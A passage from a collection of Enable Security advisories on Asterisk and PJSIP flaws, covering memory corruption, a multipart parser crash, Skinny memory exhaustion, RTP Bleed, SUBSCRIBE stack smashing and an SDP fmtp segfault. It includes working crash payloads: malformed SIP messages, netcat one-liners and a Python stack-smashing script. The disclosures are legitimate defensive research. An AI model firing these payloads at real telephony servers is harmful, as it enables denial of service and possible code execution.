#3 0x00007ffff78f0965 in default_block_alloc (factory=0x7fffd7dee0a0 , size=4096) at ../src/pj/pool_policy_malloc.c:46 65 | #4 0x00007ffff78f801c in pj_pool_create_int (f=f@entry=0x7fffd7dee0a0 , name=name@entry=0x7ffff790ad28 "tdta%p", initial_size=initial_size@entry=4096, 66 | increment_size=increment_size@entry=4000, callback=callback@entry=0x7ffff78741a0 ) at ../src/pj/pool.c:201 67 | 68 | When the Asterisk Malloc debugger is used, the following logs can be seen upon exiting the process, showing that other memory segments are being overwritten by our malformed `CSEQ`: 69 | 70 | Asterisk Malloc Debugger Started (see /opt/asterisk/var/log/asterisk/mmlog)) 71 | Asterisk Ready. 72 | [Apr 11 23:52:41] NOTICE[18382]: res_pjsip/pjsip_distributor.c:536 log_failed_request: Request 'OPTIONS' from '' failed for '10.0.2.2:44779' (callid: aa@0000000000) - No matching endpoint found 73 | ^CAsterisk cleanly ending (0). 74 | Executing last minute cleanups 75 | == Destroying musiconhold processes 76 | == Manager unregistered action DBGet 77 | == Manager unregistered action DBPut 78 | == Manager unregistered action DBDel 79 | == Manager unregistered action DBDelTree 80 | WARNING: High fence violation of 0x7ff0640058d0 allocated at ../src/pj/pool_policy_malloc.c default_block_alloc() line 46 81 | WARNING: Memory corrupted after free of 0x7ff064006970 allocated at AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$0$$aa@0000000000$195.37.78.177:5060$ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$0$$aa@0000000000$195.37.78.177:5060$() line 1094795585 82 | Segmentation fault 83 | 84 | This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. 85 | 86 | ## Solutions and recommendations 87 | 88 | Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or 13.13-cert4. 89 | 90 | If making use of PJSIP, apply the patch in revision 5593. See . 91 | 92 | ## About Enable Security 93 | 94 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 95 | 96 | ## Disclaimer 97 | 98 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 99 | -------------------------------------------------------------------------------- /ES2017-02-asterisk-pjsip-multi-part-crash/README.md: -------------------------------------------------------------------------------- 1 | # Out of bound memory access in PJSIP multipart parser crashes Asterisk 2 | 3 | - Authors: 4 | - Alfred Farrugia 5 | - Sandro Gauci 6 | - Vulnerable version: Asterisk 14.4.0 running `chan_pjsip`, PJSIP 2.6 7 | - References: AST-2017-003 8 | - Enable Security Advisory: 9 | - Vendor Advisory: 10 | - Timeline: 11 | - Report date: 2017-04-13 12 | - Digium confirmed issue: 2017-04-13 13 | - Digium patch and advisory: 2017-05-19 14 | - PJSIP added patch by Digium: 2017-05-21 15 | - Enable Security advisory: 2017-05-23 16 | 17 | ## Description 18 | 19 | A specially crafted SIP message with a malformed multipart body was found to cause a segmentation fault. 20 | 21 | ## Impact 22 | 23 | Abuse of this vulnerability leads to denial of service (DoS), and potentially remote code execution (RCE), in Asterisk when `chan_pjsip` is in use. This vulnerability is likely to affect other code that makes use of PJSIP. 24 | 25 | ## How to reproduce the issue 26 | 27 | We started Asterisk by running `$PREFIX/asterisk/sbin/asterisk -fc`. Then we made use of the following SIP message which was sent to Asterisk over UDP to reproduce the issue: 28 | 29 | INVITE sip:2565551100@one.example.com SIP/2.0 30 | Via: SIP/2.0/UDP sip.example.com;branch=7c337f30d7ce.1 31 | From: "Alice, A," 32 | To: Bob 33 | Call-ID: 602214199@mouse.wonderland.com 34 | CSeq: 1 INVITE 35 | Contact: Alice 36 | content-type: multipart/mixed;`boundary=++ 37 | 38 | -- 39 | --++=AAA 40 | xxx 41 | --+ 42 | 43 | Note that the above SIP message only contains new lines (i.e. `\n`) and no carriage returns (i.e. `\r`). We sent this message by making use of netcat as follows: 44 | 45 | echo 'SU5WSVRFIHNpcDoyNTY1NTUxMTAwQG9uZS5leGFtcGxlLmNvbSBTSVAvMi4wClZpYTogU0lQLzIuMC9VRFAgc2lwLmV4YW1wbGUuY29tO2JyYW5jaD03YzMzN2YzMGQ3Y2UuMQpGcm9tOiAiQWxpY2UsIEEsIiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KVG86IEJvYiA8c2lwOmJvYkBleGFtcGxlLmNvbT4KQ2FsbC1JRDogNjAyMjE0MTk5QG1vdXNlLndvbmRlcmxhbmQuY29tCkNTZXE6IDEgSU5WSVRFCkNvbnRhY3Q6IEFsaWNlIDxzaXA6YWxpY2VAbW91c2Uud29uZGVybGFuZC5jb20+CmNvbnRlbnQtdHlwZTogbXVsdGlwYXJ0L21peGVkO2Bib3VuZGFyeT0rKwoKLS0KLS0rKz1BQUEKeHh4Ci0tKw==' | base64 -d - | nc -u localhost 5060 46 | 47 | The following is a log from running Asterisk in gdb: 48 | 49 | gdb --args asterisk -c 50 | 51 | .... 52 | 53 | Asterisk Ready. 54 | Program received signal SIGSEGV, Segmentation fault. 55 | [Switching to Thread 0x7fffd6b85700 (LWP 2625)] 56 | 0x00007ffff783fd4c in parse_multipart_part (pool=0x1dff930, 57 | start=0x7ffff0004359 "--++=Discussion of Mbone Engineering Issues\ne=mbone@somewhere.com\nc=IN IP4 224.2.0.1/127\nt=0 0\nm=audio 3456 RTP/AVP 0\na=rtpmapt...\n--+", 58 | len=18446744073709551615, pct=0x1dffd60) at ../src/pjsip/sip_multipart.c:435 59 | 435 while (p!=end && *p!='\n') ++p; 60 | 61 | The issue appears to be due to a loop that keeps running until the wrong memory location is read. This leads to a memory access violation. This issue is to be found within `parse_multipart_part` at `pjsip/sip_multipart.c:435`. 62 | 63 | This issue was found using [AFL](http://lcamtuf.coredump.cx/afl/), while fuzzing PJSIP. 64 | 65 | ## Solutions and recommendations 66 | 67 | Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or 13.13-cert4. 68 | 69 | If making use of PJSIP, apply the patch in revision 5594. See . 70 | 71 | ## About Enable Security 72 | 73 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 74 | 75 | ## Disclaimer 76 | 77 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 78 | -------------------------------------------------------------------------------- /ES2017-03-asterisk-chan-skinny-crash/README.md: -------------------------------------------------------------------------------- 1 | # Asterisk Skinny memory exhaustion vulnerability leads to DoS 2 | 3 | - Authors: 4 | - Alfred Farrugia 5 | - Sandro Gauci 6 | - Vulnerable version: Asterisk 14.4.0 with `chan_skinny` enabled 7 | - References: AST-2017-004 8 | - Enable Security Advisory: 9 | - Vendor Advisory: 10 | - Timeline: 11 | - Report date: 2017-04-13 12 | - Digium confirmed issue: 2017-04-13 13 | - Digium patch and advisory: 2017-05-19 14 | - Enable Security advisory: 2017-05-23 15 | 16 | ## Description 17 | 18 | Sending one malformed Skinny message to port 2000 will exhaust Asterisk's memory resulting in a crash. 19 | 20 | ## Impact 21 | 22 | Abuse of this issue allows attackers to crash Asterisk when Skinny is exposed to attackers. 23 | 24 | ## How to reproduce the issue 25 | 26 | Start Asterisk and make sure the `chan_skinny` module is loaded. Then execute: 27 | 28 | printf "\x38\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x53\x45\x50\x30\x30\x30\x39" | nc localhost 2000 29 | 30 | After a few seconds Asterisk will crash since it will be using all of the available memory. Different malformed strings will crash the server faster or slower depending on the amount by which `req->data` is extended. 31 | 32 | 33 | The malformed message will throw the following errors in Asterisk: 34 | 35 | [Apr 6 09:35:26] WARNING[6893]: chan_skinny.c:7587 skinny_session: Partial data received, waiting (35 bytes read of 52) 36 | 37 | while it will loop forever. This is due to the following code: 38 | 39 | ```c 40 | while (1) { 41 | if ((res = read(s->fd, ((char*)&req->data)+bytesread, dlen-bytesread)) < 0) { 42 | ast_log(LOG_WARNING, "Data read() returned error: %s\n", strerror(errno)); 43 | break; 44 | } 45 | bytesread += res; 46 | if (bytesread >= dlen) { 47 | if (res < bytesread) { 48 | ast_log(LOG_WARNING, "Rest of partial data received.\n"); 49 | } 50 | if (bytesread > dlen) { 51 | ast_log(LOG_WARNING, "Client sent wrong amount of data (%d), expected (%d).\n", bytesread, dlen); 52 | res = -1; 53 | } 54 | break; 55 | } 56 | 57 | ast_log(LOG_WARNING, "Partial data received, waiting (%d bytes read of %d)\n", bytesread, dlen); 58 | if (sched_yield() < 0) { 59 | ast_log(LOG_WARNING, "Data yield() returned error: %s\n", strerror(errno)); 60 | res = -1; 61 | break; 62 | } 63 | } 64 | ``` 65 | 66 | The reason appears to be that `res` always returns 0 so `bytesread` will not grow and the loop never breaks. However `req->data` will continue to expand until all the memory is exhausted. 67 | 68 | This issue was found through basic manual testing, before attempting to start fuzzing `chan_skinny`. 69 | 70 | ![Memory usage while Asterisk receives a malformed skinny message](mem-graph.png) 71 | 72 | ## Solutions and recommendations 73 | 74 | Apply fix issued by Asterisk, upgrade to Asterisk 13.15.1, 14.4.1 or 13.13-cert4. Enable Security highly recommends disabling this module. 75 | 76 | ## About Enable Security 77 | 78 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 79 | 80 | ## Disclaimer 81 | 82 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. -------------------------------------------------------------------------------- /ES2017-03-asterisk-chan-skinny-crash/mem-graph.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/advisories/5f3f5ca3c8df3eade051bfd4511bfb2b9ddd7473/ES2017-03-asterisk-chan-skinny-crash/mem-graph.png -------------------------------------------------------------------------------- /ES2017-04-asterisk-rtp-bleed/README.md: -------------------------------------------------------------------------------- 1 | # Asterisk vulnerable to RTP Bleed 2 | 3 | - Authors: 4 | - Klaus-Peter Junghanns 5 | - Sandro Gauci 6 | - Vulnerable version: Asterisk 11.4.0 to 14.6.1 (fix incomplete) 7 | - References: [AST-2017-005](http://downloads.asterisk.org/pub/security/AST-2017-005.html), [AST-2017-008](http://downloads.asterisk.org/pub/security/AST-2017-008.html), CVE-2017-14099 8 | - Advisory URL: 9 | - Timeline: 10 | - First report date: 2011-09-11 11 | - Fix applied: [2011-09-21](https://issues.asterisk.org/jira/browse/ASTERISK-18587) 12 | - Issue apparently reintroduced: [2013-03-07](https://github.com/asterisk/asterisk/commit/80b8c2349c427a94a428670f1183bdc693936813) 13 | - New report date: 2017-05-17 14 | - Vendor patch provided for testing: 2017-05-23 15 | - Vendor advisory: 2017-08-31 16 | - Enable Security advisory: 2017-09-01 17 | - Vendor updated advisory: 2017-09-19 18 | 19 | ## Description 20 | 21 | When Asterisk is configured with the `nat=yes` and `strictrtp=yes` (on by default) options, it is vulnerable to an attack which we call RTP Bleed. Further information about the attack can be found at . 22 | 23 | ## Impact 24 | 25 | Abuse of this attack allows malicious users to inject and receive RTP streams of ongoing calls **without** needing to be positioned as man-in-the-middle. As a result, in the case of an RTP stream containing audio media, attackers can inject their own audio and receive audio being proxied through the Asterisk server. 26 | 27 | ## How to reproduce the issue 28 | 29 | The vulnerability can be exploited when a call is taking place and the RTP is being proxied. To exploit this issue, an attacker needs to send RTP packets to the Asterisk server on one of the ports allocated to receive RTP. When the target is vulnerable, the RTP proxy responds back to the attacker with RTP packets relayed from the other party. The payload of the RTP packets can then be decoded into audio. 30 | 31 | This issue can be reproduced by making use of [rtpnatscan](https://github.com/kapejod/rtpnatscan) (freely available) or [SIPVicious PRO](https://sipvicious.pro) (will be commercially available). 32 | 33 | 34 | ## Solutions and recommendations 35 | 36 | We have the following recommendations: 37 | 38 | - It is recommended to apply the fix issued by Asterisk which limits the window of vulnerability to the first few milliseconds. 39 | - When possible the `nat=yes` option should be avoided. 40 | - To protect against RTP injection the media streams should be encrypted (and authenticated) with SRTP. 41 | - A configuration option for SIP peers should be added that allows to prioritize RTP packets coming from the IP address learned through SIP signalling during the initial probation period. 42 | 43 | Note that as for the time of writing, the official Asterisk fix is vulnerable to a race condition. An attacker may continuously _spray_ an Asterisk server with RTP packets. This allows the attacker to send RTP within those first few packets and still exploit this vulnerability. 44 | 45 | The first Asterisk fix did not properly validate very short RTCP packets (e.g. 4 octets, see [rtcpnatscan](https://github.com/kapejod/rtpnatscan) to reproduce the problem) resulting in an out of bounds read disabling SSRC matching. 46 | This made Asterisk vulnerable to RTCP hijacking of **ongoing** calls. An attacker can extract RTCP sender reports containing the SSRCs of both RTP endpoints. 47 | 48 | A patch for this is available at (https://raw.githubusercontent.com/kapejod/rtpnatscan/master/patches/asterisk/too-short-rtcp-bugfix.diff) 49 | 50 | Asterisk issued an official advisory and patch for this second vulnerability. More details can be found at 51 | 52 | ## References 53 | 54 | - [Kamailio World 2017: Listening By Speaking - Security Attacks On Media Servers And RTP Relays](https://www.youtube.com/watch?v=cAia1owHy68) 55 | - [27C3: Having fun with RTP by Kapejod](https://www.youtube.com/watch?v=cp7VDRC-RcY) 56 | - Official patches: [AST-2017-005](http://downloads.asterisk.org/pub/security/AST-2017-005.html), [AST-2017-008](http://downloads.asterisk.org/pub/security/AST-2017-008.html) 57 | 58 | 59 | ## About Enable Security 60 | 61 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 62 | 63 | ## Disclaimer 64 | 65 | The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 66 | 67 | -------------------------------------------------------------------------------- /ES2018-01-asterisk-pjsip-subscribe-stack-corruption/README.md: -------------------------------------------------------------------------------- 1 | # SUBSCRIBE message with a large Accept value causes stack corruption 2 | 3 | - Authors: 4 | - Alfred Farrugia 5 | - Sandro Gauci 6 | - Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` 7 | - Tested vulnerable versions: 15.2.0, 13.19.0, 14.7.5, 13.11.2 8 | - References: AST-2018-004, CVE-2018-7284 9 | - Advisory URL: 10 | - Vendor Advisory: 11 | - Timeline: 12 | - Issue reported to vendor: 2018-01-30 13 | - Vendor patch made available to us: 2018-02-06 14 | - Vendor advisory published: 2018-02-21 15 | - Enable Security advisory: 2018-02-22 16 | 17 | ## Description 18 | 19 | A large SUBSCRIBE message with multiple malformed `Accept` headers will crash Asterisk due to stack corruption. 20 | 21 | ## Impact 22 | 23 | Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. Brief analysis indicates that this is an exploitable vulnerability that may lead to remote code execution. 24 | 25 | ## How to reproduce the issue 26 | 27 | The following SIP message was used to reproduce the issue: 28 | 29 | ``` 30 | SUBSCRIBE sip:3000@127.0.0.1:5060 SIP/2.0 31 | To: 32 | From: Test 33 | Call-ID: 1627b84b-b57d-4256-a748-30d01d242199 34 | CSeq: 2 SUBSCRIBE 35 | Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK1627b84b-b57d-4256-a748-30d01d242199 36 | Contact: 37 | Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 38 | Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 39 | Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 40 | (REPEAT ACCEPT FOR 50 TIMES) 41 | Event: message-summary 42 | Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE 43 | Authorization: Digest username="3000",realm="asterisk",nonce="1517181436/80170188d05f4af45b8530366c8e7e5e",uri="sip:127.0.0.1:5060",response="a4a88b777731349899227dc3170efdcf",algorithm=md5 44 | Content-Length: 0 45 | ``` 46 | 47 | Notes: 48 | 49 | - authentication may be required 50 | 51 | The following script was used to reproduce the issue: 52 | 53 | ```python 54 | #!/usr/bin/env python 55 | import socket 56 | import ssl 57 | import re 58 | import md5 59 | import uuid 60 | 61 | PROTO = "udp" 62 | SERVER_IP = "127.0.0.1" 63 | SERVER_PORT = 5060 64 | USERNAME = "3000" 65 | PASSWORD = "3000" 66 | SUBSCRIBE_USERNAME = "3000" 67 | 68 | # default to SIP TCP 69 | socktype = socket.SOCK_STREAM 70 | if PROTO == "udp": 71 | socktype = socket.SOCK_DGRAM 72 | sock = socket.socket(socket.AF_INET, socktype) 73 | if PROTO == "tls": 74 | sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1) 75 | 76 | sock.connect((SERVER_IP, SERVER_PORT)) 77 | 78 | 79 | callid = str(uuid.uuid4()) 80 | msg = "SUBSCRIBE sip:%s@%s:%i SIP/2.0\r\n" \ 81 | "To: \r\n" \ 82 | "From: Test \r\n" \ 83 | "Call-ID: %s\r\n" \ 84 | "CSeq: 2 SUBSCRIBE\r\n" \ 85 | "Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \ 86 | "Contact: \r\n" \ 87 | "Accept: application/simple-message-summary\r\n" \ 88 | "Event: message-summary\r\n" \ 89 | "Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE\r\n" \ 90 | "{{AUTH}}" \ 91 | "Content-Length: 0\r\n" \ 92 | "\r\n" % ( 93 | SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT, 94 | SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT, 95 | USERNAME, SERVER_IP, SERVER_PORT, 96 | callid, callid, 97 | USERNAME) 98 | 99 | sock.sendall(msg.replace("{{AUTH}}", "")) 100 | 101 | data = sock.recv(10240) 102 | 103 | if data.startswith("SIP/2.0 401"): 104 | for line in data.split('\r\n'): 105 | if line.startswith("WWW-Authenticate"): 106 | content = line.split(':', 2)[1].strip() 107 | realm = re.search("realm=\"([a-z]+)\"", content).group(1) 108 | nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1) 109 | ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest() 110 | uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT) 111 | ha2 = md5.new("SUBSCRIBE:" + uri).hexdigest() 112 | r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest() 113 | 114 | auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \ 115 | "realm=\"%s\"," % (realm) + \ 116 | "nonce=\"%s\"," % (nonce) + \ 117 | "uri=\"%s\"," % (uri) + \ 118 | "response=\"%s\"," % (r) + \ 119 | "algorithm=md5\r\n" 120 | print(auth) 121 | newmsg = "" 122 | for line in msg.split('\r\n'): 123 | if line.startswith('Accept'): 124 | for _ in range(64): 125 | newmsg += 'Accept: ' + 'A' * 8 + '\r\n' 126 | else: 127 | newmsg += line + '\r\n' 128 | 129 | newmsg = newmsg.replace("{{AUTH}}", auth) 130 | print(newmsg) 131 | sock.sendall(newmsg) 132 | ``` 133 | 134 | GDB Output: 135 | 136 | ``` 137 | 2872 if (expires_header) { 138 | (gdb) bt 139 | #0 0x00007ffff1618000 in pubsub_on_rx_subscribe_request (rdata=rdata@entry=0x7fffe00132f8) at res_pjsip_pubsub.c:2872 140 | #1 0x00007ffff1618938 in pubsub_on_rx_request (rdata=0x7fffe00132f8) at res_pjsip_pubsub.c:3559 141 | #2 0x00007ffff7864e97 in pjsip_endpt_process_rx_data (endpt=, rdata=0x4141414141414141, p=, 142 | p_handled=0x7ffff0480d44) at ../src/pjsip/sip_endpoint.c:893 143 | #3 0x00007ffff11ca200 in strcpy (__src=0x7fffe00132f8 "\300.", __dest=0x0) at /usr/include/x86_64-linux-gnu/bits/string3.h:110 144 | #4 record_serializer (tdata=0x7fffe00095f0) at res_pjsip/pjsip_distributor.c:92 145 | #5 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x769a652ff4df0300, tps@entry=0xff0348) at taskprocessor.c:963 146 | #6 0x0000000000603960 in execute_tasks (data=0xff0348) at threadpool.c:1322 147 | #7 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x958d58) at taskprocessor.c:963 148 | #8 0x0000000000603e40 in threadpool_execute (pool=0x957f98) at threadpool.c:351 149 | #9 worker_active (worker=0x7fffa0000fa8) at threadpool.c:1105 150 | #10 worker_start (arg=0x7fffa0000fa8) at threadpool.c:1024 151 | #11 0x000000000060ed00 in __ast_malloc (file=0x6753b0 "uri.c", func=, lineno=307, len=) 152 | at /usr/local/src/asterisk-15.2.0/include/asterisk/utils.h:535 153 | #12 ast_uri_make_host_with_port (uri=) at uri.c:307 154 | #13 0x00007fffa0000c20 in ?? () 155 | #14 0x76f0f5cbfb310371 in ?? () 156 | #15 0x890f159a3c370371 in ?? () 157 | #16 0x00007fff00000000 in ?? () 158 | #17 0x00007ffff0480ef0 in ?? () 159 | #18 0x4141414141414141 in ?? () 160 | #19 0x00007ffff5241100 in arena_thread_freeres () at arena.c:927 161 | #20 0x769a652ff4df0300 in ?? () 162 | #21 0x0000000000000000 in ?? () 163 | ``` 164 | 165 | By increasing the amount of `Accept` headers in the python script, we see stack smashing actually occurring. Although this may not work on UDP due to packet limitations, it has been verified to work on TLS/TCP. The above script would need to be slightly modified to create 64 `Accept` headers each with a value of 100 bytes, as follows: 166 | 167 | ```python 168 | for _ in range(64): 169 | newmsg += 'Accept: ' + 'A' * 100 + '\r\n' 170 | ``` 171 | 172 | GDB Output: 173 | 174 | ``` 175 | *** stack smashing detected ***: /opt/asterisk/sbin/asterisk terminated 176 | 177 | Thread 25 "asterisk" received signal SIGABRT, Aborted. 178 | [Switching to Thread 0x7ffff0481700 (LWP 129)] 179 | 0x00007ffff5101428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 180 | 54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. 181 | (gdb) bt 182 | #0 0x00007ffff5101428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54 183 | #1 0x00007ffff510302a in __GI_abort () at abort.c:89 184 | #2 0x00007ffff51437ea in __libc_message (do_abort=do_abort@entry=1, fmt=fmt@entry=0x7ffff525b49f "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:175 185 | #3 0x00007ffff51e515c in __GI___fortify_fail (msg=, msg@entry=0x7ffff525b481 "stack smashing detected") at fortify_fail.c:37 186 | #4 0x00007ffff51e5100 in __stack_chk_fail () at stack_chk_fail.c:28 187 | #5 0x00007ffff1613be2 in subscription_get_generator_from_rdata (handler=, handler=, rdata=) at res_pjsip_pubsub.c:755 188 | #6 0x4141414141414141 in ?? () 189 | #7 0x4141414141414141 in ?? () 190 | #8 0x4141414141414141 in ?? () 191 | #9 0x4141414141414141 in ?? () 192 | #10 0x4141414141414141 in ?? () 193 | #11 0x4141414141414141 in ?? () 194 | #12 0x0041414141414141 in ?? () 195 | #13 0x4141414141414141 in ?? () 196 | #14 0x4141414141414141 in ?? () 197 | #15 0x4141414141414141 in ?? () 198 | #16 0x4141414141414141 in ?? () 199 | #17 0x4141414141414141 in ?? () 200 | #18 0x4141414141414141 in ?? () 201 | #19 0x4141414141414141 in ?? () 202 | #20 0x0041414141414141 in ?? () 203 | #21 0x4141414141414141 in ?? () 204 | #22 0x4141414141414141 in ?? () 205 | #23 0x4141414141414141 in ?? () 206 | #24 0x4141414141414141 in ?? () 207 | #25 0x4141414141414141 in ?? () 208 | #26 0x4141414141414141 in ?? () 209 | #27 0x4141414141414141 in ?? () 210 | #28 0x0041414141414141 in ?? () 211 | #29 0x4141414141414141 in ?? () 212 | #30 0x4141414141414141 in ?? () 213 | #31 0x4141414141414141 in ?? () 214 | ``` 215 | 216 | This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset. 217 | 218 | ## Solutions and recommendations 219 | 220 | Apply the patch issued by Asterisk at or upgrade to the latest release. 221 | 222 | ## About Enable Security 223 | 224 | [Enable Security](https://www.enablesecurity.com) provides Information Security services, including Penetration Testing, Research and Development, to help protect client networks and applications against online attackers. 225 | 226 | ## Disclaimer 227 | 228 | The information in the advisory is believed to be accurate at the 229 | time of publishing based on currently available information. Use of the 230 | information constitutes acceptance for use in an AS IS condition. There are no 231 | warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. 232 | -------------------------------------------------------------------------------- /ES2018-02-asterisk-pjsip-sdp-invalid-fmtp-segfault/README.md: -------------------------------------------------------------------------------- 1 | # Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute 2 | 3 | - Authors: 4 | - Alfred Farrugia 5 | - Sandro Gauci 6 | - Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip` 7 | - References: AST-2018-003, CVE-2018-1000099 8 | - Enable Security Advisory: 9 | - Vendor Advisory: 10 | - Timeline: 11 | - Issue reported to vendor: 2018-01-15 12 | - Vendor patch made available to us: 2018-02-05 13 | - Vendor advisory published: 2018-02-21 14 | - Enable Security advisory: 2018-02-22 15 | 16 | 17 | ## Description 18 | 19 | A specially crafted SDP message body with an invalid fmtp attribute causes a 20 | segmentation fault in asterisk using `chan_pjsip`. 21 | 22 | 23 | ## Impact 24 | 25 | Abuse of this vulnerability leads to denial of service in Asterisk when 26 | `chan_pjsip` is in use. 27 | 28 | 29 | ## How to reproduce the issue 30 | 31 | The following SIP message was used to reproduce the issue: 32 | 33 | ``` 34 | INVITE sip:5678@127.0.0.1:5060 SIP/2.0 35 | To: 36 | From: Test 37 | Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a 38 | CSeq: 2 INVITE 39 | Via: SIP/2.0/UDP 172.17.0.1:10394;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a 40 | Contact: 41 | Content-Type: application/sdp 42 | Content-Length: 228 43 | 44 | v=0 45 | o=- 1061502179 1061502179 IN IP4 172.17.0.1 46 | s=Asterisk 47 | c=IN IP4 172.17.0.1 48 | t=0 0 49 | m=audio 17000 RTP/AVP 9 0 101 50 | a=rtpmap:8 alaw/8000 51 | a=rtpmap:0 PCMU/8000 52 | a=rtpmap:101 telephone-event/8000 53 | a=fmtp\x00:101 0-16 54 | a=sendrecv 55 | ``` 56 | 57 | Notes: 58 | 59 | - `\x00` should be replaced by the null character 60 | - authentication may be required 61 | - the destination SIP address should match a valid extension in the dialplan. 62 | 63 | To facilitate this process we wrote the following python program to reproduce this issue: 64 | 65 | ```python 66 | import socket 67 | import re 68 | import md5 69 | import uuid 70 | 71 | SERVER_IP = "127.0.0.1" 72 | SERVER_PORT = 5060 73 | UDP_IP = "0.0.0.0" 74 | UDP_PORT = 13940 75 | USERNAME = "5678" 76 | PASSWORD = "5678" 77 | INVITE_USERNAME = "5678" 78 | 79 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 80 | sock.bind((UDP_IP, UDP_PORT)) 81 | 82 | callid = 